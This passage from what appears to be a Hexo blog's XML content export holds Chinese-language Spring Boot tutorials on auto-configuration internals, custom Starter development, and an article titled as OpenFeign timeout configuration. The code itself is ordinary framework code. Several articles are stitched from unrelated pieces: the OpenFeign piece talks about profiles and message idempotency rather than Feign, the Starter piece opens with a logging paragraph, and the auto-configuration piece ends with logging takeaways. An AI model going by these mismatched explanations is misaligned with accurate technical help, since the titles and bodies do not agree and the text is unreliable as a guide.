class="title class_">UrlResource</span>(url);</span><br><span class="line">                <span class="type">Properties</span> <span class="variable">properties</span> <span class="operator">=</span> PropertiesLoaderUtils.loadProperties(resource);</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">for</span> (Map.Entry&lt;?, ?&gt; entry : properties.entrySet()) &#123;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">factoryTypeName</span> <span class="operator">=</span> ((String) entry.getKey()).trim();</span><br><span class="line">                    String[] factoryImplementationNames = </span><br><span class="line">                        StringUtils.commaDelimitedListToStringArray((String) entry.getValue());</span><br><span class="line">                    <span class="keyword">for</span> (String factoryImplementationName : factoryImplementationNames) &#123;</span><br><span class="line">                        result.computeIfAbsent(factoryTypeName, k -&gt; <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;())</span><br><span class="line">                              .add(factoryImplementationName.trim());</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException ex) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(...);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        cache.put(classLoader, result);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="条件过滤"><a href="#条件过滤" class="headerlink" title="条件过滤"></a>条件过滤</h2><p>#</p><h2 id="ConfigurationClassFilter"><a href="#ConfigurationClassFilter" class="headerlink" title="ConfigurationClassFilter"></a>ConfigurationClassFilter</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="keyword">final</span> ConfigurationClassFilter <span class="title function_">getConfigurationClassFilter</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">this</span>.configurationClassFilter == <span class="literal">null</span>) &#123;</span><br><span class="line">        List&lt;AutoConfigurationImportFilter&gt; filters = getAutoConfigurationImportFilters();</span><br><span class="line">        <span class="keyword">for</span> (AutoConfigurationImportFilter filter : filters) &#123;</span><br><span class="line">            invokeAwareMethods(filter);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">this</span>.configurationClassFilter = <span class="keyword">new</span> <span class="title class_">ConfigurationClassFilter</span>(</span><br><span class="line">            <span class="built_in">this</span>.beanClassLoader, filters);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.configurationClassFilter;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="OnClassCondition"><a href="#OnClassCondition" class="headerlink" title="OnClassCondition"></a>OnClassCondition</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Order(Ordered.HIGHEST_PRECEDENCE)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OnClassCondition</span> <span class="keyword">extends</span> <span class="title class_">FilteringSpringBootCondition</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">final</span> ConditionOutcome[] getOutcomes(String[] autoConfigurationClasses,</span><br><span class="line">                                                    AutoConfigurationMetadata autoConfigurationMetadata) &#123;</span><br><span class="line">        <span class="comment">// 分批检查 @ConditionalOnClass</span></span><br><span class="line">        <span class="comment">// 使用多线程加速</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> ConditionOutcome <span class="title function_">getOutcome</span><span class="params">(String candidates)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 检查类是否存在</span></span><br><span class="line">            <span class="keyword">for</span> (String candidate : StringUtils.commaDelimitedListToStringArray(candidates)) &#123;</span><br><span class="line">                Class.forName(candidate, <span class="literal">false</span>, getClass().getClassLoader());</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> ConditionOutcome.match();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (ClassNotFoundException ex) &#123;</span><br><span class="line">            <span class="keyword">return</span> ConditionOutcome.noMatch(ConditionMessage.forCondition(...));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="自动配置类示例"><a href="#自动配置类示例" class="headerlink" title="自动配置类示例"></a>自动配置类示例</h2><p>#</p><h2 id="DataSourceAutoConfiguration"><a href="#DataSourceAutoConfiguration" class="headerlink" title="DataSourceAutoConfiguration"></a>DataSourceAutoConfiguration</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration(proxyBeanMethods = false)</span></span><br><span class="line"><span class="meta">@ConditionalOnClass(&#123; DataSource.class, EmbeddedDatabaseType.class &#125;)</span></span><br><span class="line"><span class="meta">@ConditionalOnMissingBean(type = &quot;io.r2dbc.spi.ConnectionFactory&quot;)</span></span><br><span class="line"><span class="meta">@EnableConfigurationProperties(DataSourceProperties.class)</span></span><br><span class="line"><span class="meta">@Import(&#123; DataSourcePoolMetadataProvidersConfiguration.class,</span></span><br><span class="line"><span class="meta">        DataSourceInitializationConfiguration.InitializationSpecificCredentialsDataSourceInitializationConfiguration.class,</span></span><br><span class="line"><span class="meta">        DataSourceInitializationConfiguration.SharedCredentialsDataSourceInitializationConfiguration.class &#125;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceAutoConfiguration</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Configuration(proxyBeanMethods = false)</span></span><br><span class="line">    <span class="meta">@Conditional(EmbeddedDatabaseCondition.class)</span></span><br><span class="line">    <span class="meta">@ConditionalOnMissingBean(&#123; DataSource.class, XADataSource.class &#125;)</span></span><br><span class="line">    <span class="meta">@Import(EmbeddedDataSourceConfiguration.class)</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">EmbeddedDatabaseConfiguration</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Configuration(proxyBeanMethods = false)</span></span><br><span class="line">    <span class="meta">@Conditional(PooledDataSourceCondition.class)</span></span><br><span class="line">    <span class="meta">@ConditionalOnMissingBean(&#123; DataSource.class, XADataSource.class &#125;)</span></span><br><span class="line">    <span class="meta">@Import(&#123; DataSourceConfiguration.Hikari.class,</span></span><br><span class="line"><span class="meta">            DataSourceConfiguration.Tomcat.class,</span></span><br><span class="line"><span class="meta">            DataSourceConfiguration.Dbcp2.class,</span></span><br><span class="line"><span class="meta">            DataSourceConfiguration.Generic.class,</span></span><br><span class="line"><span class="meta">            DataSourceConfiguration.OracleUcp.class &#125;)</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">PooledDataSourceConfiguration</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@ConditionalOnMissingBean</span></span><br><span class="line">    <span class="keyword">public</span> DataSourceTransactionManager <span class="title function_">transactionManager</span><span class="params">(DataSource dataSource)</span> &#123;</span><br><span class="line">        <span class="type">DataSourceTransactionManager</span> <span class="variable">transactionManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataSourceTransactionManager</span>(dataSource);</span><br><span class="line">        <span class="keyword">return</span> transactionManager;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="自动配置报告"><a href="#自动配置报告" class="headerlink" title="自动配置报告"></a>自动配置报告</h2><p>#</p><h2 id="AutoConfigurationReportListener"><a href="#AutoConfigurationReportListener" class="headerlink" title="AutoConfigurationReportListener"></a>AutoConfigurationReportListener</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AutoConfigurationReportListener</span> <span class="keyword">implements</span> </span><br><span class="line">        <span class="title class_">ApplicationListener</span>&lt;AutoConfigurationImportEvent&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onApplicationEvent</span><span class="params">(AutoConfigurationImportEvent event)</span> &#123;</span><br><span class="line">        <span class="comment">// 记录匹配和不匹配的配置类</span></span><br><span class="line">        <span class="comment">// 用于生成自动配置报告</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="查看报告"><a href="#查看报告" class="headerlink" title="查看报告"></a>查看报告</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># DEBUG 日志</span></span><br><span class="line">logging.level.org.springframework.boot.autoconfigure=DEBUG</span><br><span class="line"></span><br><span class="line"><span class="comment"># 条件报告</span></span><br><span class="line">java -jar app.jar --debug</span><br></pre></td></tr></table></figure><h2 id="自定义条件注解"><a href="#自定义条件注解" class="headerlink" title="自定义条件注解"></a>自定义条件注解</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(&#123; ElementType.TYPE, ElementType.METHOD &#125;)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="meta">@Conditional(OnCustomCondition.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> ConditionalOnCustom &#123;</span><br><span class="line">    String <span class="title function_">value</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OnCustomCondition</span> <span class="keyword">extends</span> <span class="title class_">SpringBootCondition</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> ConditionOutcome <span class="title function_">getMatchOutcome</span><span class="params">(ConditionContext context, AnnotatedTypeMetadata metadata)</span> &#123;</span><br><span class="line">        Map&lt;String, Object&gt; attributes = metadata.getAnnotationAttributes(</span><br><span class="line">            ConditionalOnCustom.class.getName());</span><br><span class="line">        <span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> (String) attributes.get(<span class="string">&quot;value&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">property</span> <span class="operator">=</span> context.getEnvironment().getProperty(<span class="string">&quot;my.custom.&quot;</span> + value);</span><br><span class="line">        <span class="keyword">if</span> (property != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> ConditionOutcome.match();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> ConditionOutcome.noMatch(<span class="string">&quot;Property my.custom.&quot;</span> + value + <span class="string">&quot; not found&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="加载流程总结"><a href="#加载流程总结" class="headerlink" title="加载流程总结"></a>加载流程总结</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">SpringApplication.run()</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">refreshContext()</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">AbstractApplicationContext.refresh()</span><br><span class="line">    |</span><br><span class="line">    ├── invokeBeanFactoryPostProcessors()</span><br><span class="line">    │       └── ConfigurationClassPostProcessor.processConfigBeanDefinitions()</span><br><span class="line">    │               └── parser.parse(candidates)</span><br><span class="line">    │                       └── 处理 @Import</span><br><span class="line">    │                               └── AutoConfigurationImportSelector</span><br><span class="line">    │                                       ├── loadFactoryNames()</span><br><span class="line">    │                                       │       └── 读取 spring.factories</span><br><span class="line">    │                                       ├── 去重</span><br><span class="line">    │                                       ├── 排除</span><br><span class="line">    │                                       └── filter()</span><br><span class="line">    │                                               └── OnClassCondition</span><br><span class="line">    │                                                       └── Class.forName()</span><br><span class="line">    │</span><br><span class="line">    └── 注册过滤后的配置类为 BeanDefinition</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring Boot 自动配置的源码设计精妙：</p><ol><li><strong>spring.factories</strong>：SPI 机制，声明式注册</li><li><strong>DeferredImportSelector</strong>：延迟加载，保证 @Configuration 先处理</li><li><strong>条件注解</strong>：按需加载，避免不必要的 Bean</li><li><strong>条件评估缓存</strong>：启动时缓存结果，加速后续启动</li></ol><p>理解自动配置源码，可以更好地开发自定义 Starter 和排查配置问题。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>OpenFeign 调用超时和重试配置</title>
      <link href="//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/"/>
      <url>//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="OpenFeign-调用超时和重试配置"><a href="#OpenFeign-调用超时和重试配置" class="headerlink" title="OpenFeign 调用超时和重试配置"></a>OpenFeign 调用超时和重试配置</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot Starter自定义开发</title>
      <link href="//springboot-starter-zi-ding-yi-kai-fa/"/>
      <url>//springboot-starter-zi-ding-yi-kai-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot-Starter自定义开发"><a href="#SpringBoot-Starter自定义开发" class="headerlink" title="SpringBoot Starter自定义开发"></a>SpringBoot Starter自定义开发</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="Starter-命名规范"><a href="#Starter-命名规范" class="headerlink" title="Starter 命名规范"></a>Starter 命名规范</h2><table><thead><tr><th>类型</th><th>命名格式</th><th>示例</th></tr></thead><tbody><tr><td>官方 Starter</td><td>spring-boot-starter-*</td><td>spring-boot-starter-web</td></tr><tr><td>第三方 Starter</td><td>*-spring-boot-starter</td><td>mybatis-spring-boot-starter</td></tr></tbody></table><h2 id="开发步骤"><a href="#开发步骤" class="headerlink" title="开发步骤"></a>开发步骤</h2><p>#</p><h2 id="1-创建-Maven-项目"><a href="#1-创建-Maven-项目" class="headerlink" title="1. 创建 Maven 项目"></a>1. 创建 Maven 项目</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="comment">&lt;!-- pom.xml --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">project</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">parent</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-parent<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.7.x<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">parent</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>my-service-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!-- 自动配置 --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-autoconfigure<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">&lt;!-- 配置处理器，生成元数据 --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-configuration-processor<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">optional</span>&gt;</span>true<span class="tag">&lt;/<span class="name">optional</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">project</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-创建配置属性类"><a href="#2-创建配置属性类" class="headerlink" title="2. 创建配置属性类"></a>2. 创建配置属性类</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@ConfigurationProperties(prefix = &quot;my.service&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyServiceProperties</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否启用</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="variable">enabled</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 服务名称</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;default&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 超时时间（毫秒）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">timeout</span> <span class="operator">=</span> <span class="number">5000</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 重试次数</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">retry</span> <span class="operator">=</span> <span class="number">3</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// getter/setter</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isEnabled</span><span class="params">()</span> &#123; <span class="keyword">return</span> enabled; &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setEnabled</span><span class="params">(<span class="type">boolean</span> enabled)</span> &#123; <span class="built_in">this</span>.enabled = enabled; &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getName</span><span class="params">()</span> &#123; <span class="keyword">return</span> name; &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> &#123; <span class="built_in">this</span>.name = name; &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getTimeout</span><span class="params">()</span> &#123; <span class="keyword">return</span> timeout; &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setTimeout</span><span class="params">(<span class="type">int</span> timeout)</span> &#123; <span class="built_in">this</span>.timeout = timeout; &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getRetry</span><span class="params">()</span> &#123; <span class="keyword">return</span> retry; &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setRetry</span><span class="params">(<span class="type">int</span> retry)</span> &#123; <span class="built_in">this</span>.retry = retry; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-创建核心服务类"><a href="#3-创建核心服务类" class="headerlink" title="3. 创建核心服务类"></a>3. 创建核心服务类</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> MyServiceProperties properties;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">MyService</span><span class="params">(MyServiceProperties properties)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.properties = properties;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">sayHello</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> String.format(<span class="string">&quot;[%s] Hello, %s!&quot;</span>, properties.getName(), name);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">executeWithRetry</span><span class="params">(Runnable task)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">attempts</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">while</span> (attempts &lt; properties.getRetry()) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                task.run();</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                attempts++;</span><br><span class="line">                <span class="keyword">if</span> (attempts &gt;= properties.getRetry()) &#123;</span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;重试耗尽&quot;</span>, e);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-创建自动配置类"><a href="#4-创建自动配置类" class="headerlink" title="4. 创建自动配置类"></a>4. 创建自动配置类</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@ConditionalOnClass(MyService.class)</span></span><br><span class="line"><span class="meta">@ConditionalOnProperty(prefix = &quot;my.service&quot;, name = &quot;enabled&quot;, havingValue = &quot;true&quot;, matchIfMissing = true)</span></span><br><span class="line"><span class="meta">@EnableConfigurationProperties(MyServiceProperties.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyServiceAutoConfiguration</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> MyServiceProperties properties;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">MyServiceAutoConfiguration</span><span class="params">(MyServiceProperties properties)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.properties = properties;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@ConditionalOnMissingBean</span>  <span class="comment">// 用户定义了则优先使用用户的</span></span><br><span class="line">    <span class="keyword">public</span> MyService <span class="title function_">myService</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">MyService</span>(properties);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@ConditionalOnMissingBean</span></span><br><span class="line">    <span class="meta">@ConditionalOnProperty(prefix = &quot;my.service&quot;, name = &quot;health-check&quot;, havingValue = &quot;true&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> MyHealthIndicator <span class="title function_">myHealthIndicator</span><span class="params">(MyService myService)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">MyHealthIndicator</span>(myService);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-配置-spring-factories"><a href="#5-配置-spring-factories" class="headerlink" title="5. 配置 spring.factories"></a>5. 配置 spring.factories</h2><figure class="highlight properties"><table><tr><td class="code"><pre><span class="line"><span class="comment"># src/main/resources/META-INF/spring.factories</span></span><br><span class="line"><span class="attr">org.springframework.boot.autoconfigure.EnableAutoConfiguration</span>=<span class="string">\</span></span><br><span class="line"><span class="string">com.example.autoconfigure.MyServiceAutoConfiguration</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-配置提示元数据"><a href="#6-配置提示元数据" class="headerlink" title="6. 配置提示元数据"></a>6. 配置提示元数据</h2><figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="comment">// src/main/resources/META-INF/additional-spring-configuration-metadata.json</span></span><br><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;my.service.enabled&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.lang.Boolean&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;是否启用 MyService&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;defaultValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;my.service.name&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.lang.String&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;服务名称&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;my.service.timeout&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.lang.Integer&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;超时时间（毫秒）&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;defaultValue&quot;</span><span class="punctuation">:</span> <span class="number">5000</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span 